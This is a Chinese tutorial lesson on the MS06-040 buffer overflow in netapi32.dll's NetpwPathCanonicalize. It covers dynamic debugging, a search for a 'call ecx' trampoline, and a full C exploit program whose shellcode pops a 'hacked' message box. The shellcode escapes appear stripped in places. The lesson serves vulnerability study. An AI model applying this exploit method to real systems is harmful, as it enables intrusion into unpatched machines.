缓冲区溢出分析第08课：MS06-040漏洞研究——动态调试

前言

        经过上次的分析，我们已经知道了MS06-040漏洞的本质，那么这次我们就通过编程实现漏洞的利用。

 

编写漏洞利用程序的框架

        这里我使用的是VC++6.0进行编写，需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下。程序如下：

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);

int main()
{
        char Str[0x320];
    char lpWideCharStr[0x440];
    int  arg_8 = 0x440;
    char Source[0x100];
    long arg_10 = 44;

    HINSTANCE LibHandle;
    MYPROC Func;
    char DllName[] = "./netapi32.dll";

    LibHandle = LoadLibrary(DllName);
    if( LibHandle == NULL)
    {
        MessageBox(0, "Can't Load DLL!", "Warning", 0);
        FreeLibrary(LibHandle);
    }

    Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
    if ( Func == NULL )
    {
        MessageBox(0, "Can't Load Function Address!", "Warning", 0);
        FreeLibrary(LibHandle);
    }

        memset(Str, 0, sizeof(Str));
    memset(Str, 'a', sizeof(Str)-2);
    memset(Source, 0, sizeof(Source));
    memset(Source, 'b', sizeof(Source)-2);

    (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);

        FreeLibrary(LibHandle);
    return 0;
}

        程序主要是通过LoadLibrary()函数获取当工程前目录中的netapi32.dll被加载后的基地址，再获取位于该DLL中的NetpwPathCanonicalize()函数的地址，并且利用memset()函数对包含有漏洞的函数的Str和Source参数的内容进行填充，最后再对其进行调用。将程序编译执行，系统会提示出错：

图1

        由错误代码可知，程序出现了缓冲区溢出的错误，返回地址被覆盖成了0x61616161，也就是四个“a”。

 

动态调试漏洞

        我们使用OD载入上述程序，同时用IDA载入Netapi32.dll这个动态链接库。然后在OD中执行完LoadLibrary()这个函数：

图2

        可见此时netapi32.dll已经成功加载，并且eax中保存的就是该动态链接库的加载地址。下面在IDA中找到函数NetpwPathCanonicalize()函数的地址：

图3

        可见该函数的地址为0x7517F2E2，那么我们在OD中直接跳到这个位置，下断点并执行过来：

图4

        结合上次的分析我们知道，出问题的函数是位于0x7517F856位置处的函数调用call sub_7517FC68：

图5

        那么接下来用OD进入这个CALL进行分析。首先看一下当前栈中的情况：

图6

        由上图可知，返回地址为0x0012F670的位置，也是需要被“跳板”覆盖的位置。这里让程序执行完第一个字符串拷贝函数：

图7

        可以看到，程序在位于0x0012F258位置处开始，一共拷贝了254也就是0xFE个字母“b”，这和我们编写的程序是一致的。然后程序会在这段字符串后面加上“”，接着来到了第二个字符串拷贝的位置：

图8

        这里将长串字符“a”连接在了“”的后面，“a”的起始地址为0x0012F358，一共拷贝了798也就是0x31E个。这与我们所编写的程序是一致的。然后执行到返回的位置，由于返回地址是一个不可识别的空间，所以就会提示出错：

图9

        此时可以发现，ecx中保存的正是缓冲区起始位置的地址，那么我们就可以利用这一特性，将ShellCode植入Source串中，并将返回地址覆盖为call ecx，这样当程序返回的时候，就会直接来到0x0012F258的位置进行执行。

 

获取CALL ECX地址

        我们还需要查找一下call ecx这条指令。它的OPCODE为FFD1，我们直接在Netapi32.dll这个程序中进行查找，只需将我们之前讲过的用于查找call esp的程序稍作改动即可：

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define DLL_NAME "./netapi32.dll"

int main()
{
        BYTE *ptr;
        int position,address;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary(DLL_NAME);
        if(!handle)
        {
                printf("load dll error!");
                exit(0);
        }
        ptr = (BYTE*)handle;

        for(position = 0; !done_flag; position++)
        {
                try
                {
                        if(ptr[position]==0xFF && ptr[position+1]==0xD1)
                        {
                                int address = (int)ptr + position;
                                printf("OPCODE found at 0x%x
", address);
                        }
                }
                catch(...)
                {
                        int address = (int)ptr + position;
                        printf("END OF 0x%x
", address);
                        done_flag = true;
                }
        }
        getchar();
        return 0;
}

        结果如下：

图10

        依据上图，这里我选择的是第一个结果，也就是0x751852F9作为我们的ShellCode的跳板。需要说明的是，这里的返回地址为0x0012F670，缓冲区的开始位置是0x0012F258，它们之间的偏移为0x418，去掉参数Source以及“”所占据的0x100，得到0x418-0x100=0x318，也就是说，从Str字符串的偏移0x318位置开始，就是需要我们覆盖掉的返回地址的位置。

 

完成漏洞利用程序

        于是可以将之前的框架程序修改为：

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);

char ShellCode[] =
              "x33xDB"                          // xor ebx,ebx
              "xB7x06"                          // mov bh,6
              "x2BxE3"                          // sub esp,ebx
              "x33xDB"                          // xor ebx,ebx
              "x53"                              // push ebx
              "x68x69x6Ex67x20"
              "x68x57x61x72x6E"              // push "Warning"
              "x8BxC4"                          // mov eax,esp
              "x53"                              // push ebx
              "x68x2Ex29x20x20"
              "x68x20x4Ax2Ex59"
              "x68x21x28x62x79"
              "x68x63x6Bx65x64"
              "x68x6Ex20x68x61"
              "x68x20x62x65x65"
              "x68x68x61x76x65"
              "x68x59x6Fx75x20"   // push "You have been hacked!(by J.Y.)"
              "x8BxCC"                           // mov ecx,esp
              "x53"                               // push ebx
              "x50"                               // push eax
              "x51"                               // push ecx
              "x53"                               // push ebx
              "xB8xeax07xd5x77"
              "xFFxD0"                           // call MessageBox
                          "x53"
                          "xB8xFAxCAx81x7C"
                          "xFFxD0" ;                          // call ExitProcess

int main()
{
        char Str[0x320];
    char lpWideCharStr[0x440];
    int  arg_8 = 0x440;
    char Source[0x100];
    long arg_10 = 44;

    HINSTANCE LibHandle;
    MYPROC Func;
    char DllName[] = "./netapi32.dll";

    LoadLibrary("user32.dll");

    LibHandle = LoadLibrary(DllName);
    if( LibHandle == NULL)
    {
        MessageBox(0, "Can't Load DLL!", "Warning", 0);
        FreeLibrary(LibHandle);
    }

    Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
    if ( Func == NULL )
    {
        MessageBox(0, "Can't Load Function Address!", "Warning", 0);
        FreeLibrary(LibHandle);
    }

        memset(Str, 0, sizeof(Str));
    memset(Str, 'a', sizeof(Str)-2);
    memset(Source, 0, sizeof(Source));
    memset(Source, 'b', sizeof(Source)-2);
    memcpy(Source, ShellCode, sizeof(ShellCode));

    Str[0x318] = 0xF9;
    Str[0x319] = 0x52;
    Str[0x31A] = 0x18;
    Str[0x31B] = 0x75;

    (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);

        FreeLibrary(LibHandle);
    return 0;
}

        运行结果如下：

图11

        可见我们已经成功地利用了这个漏洞。

 

小结

        由此可见，对于系统级别的漏洞，及时更新补丁是非常重要的。而作为漏洞分析人员，也要具备恒心与毅力，不断地积累经验，勇于接受挑战，多多尝试，才能有所收获。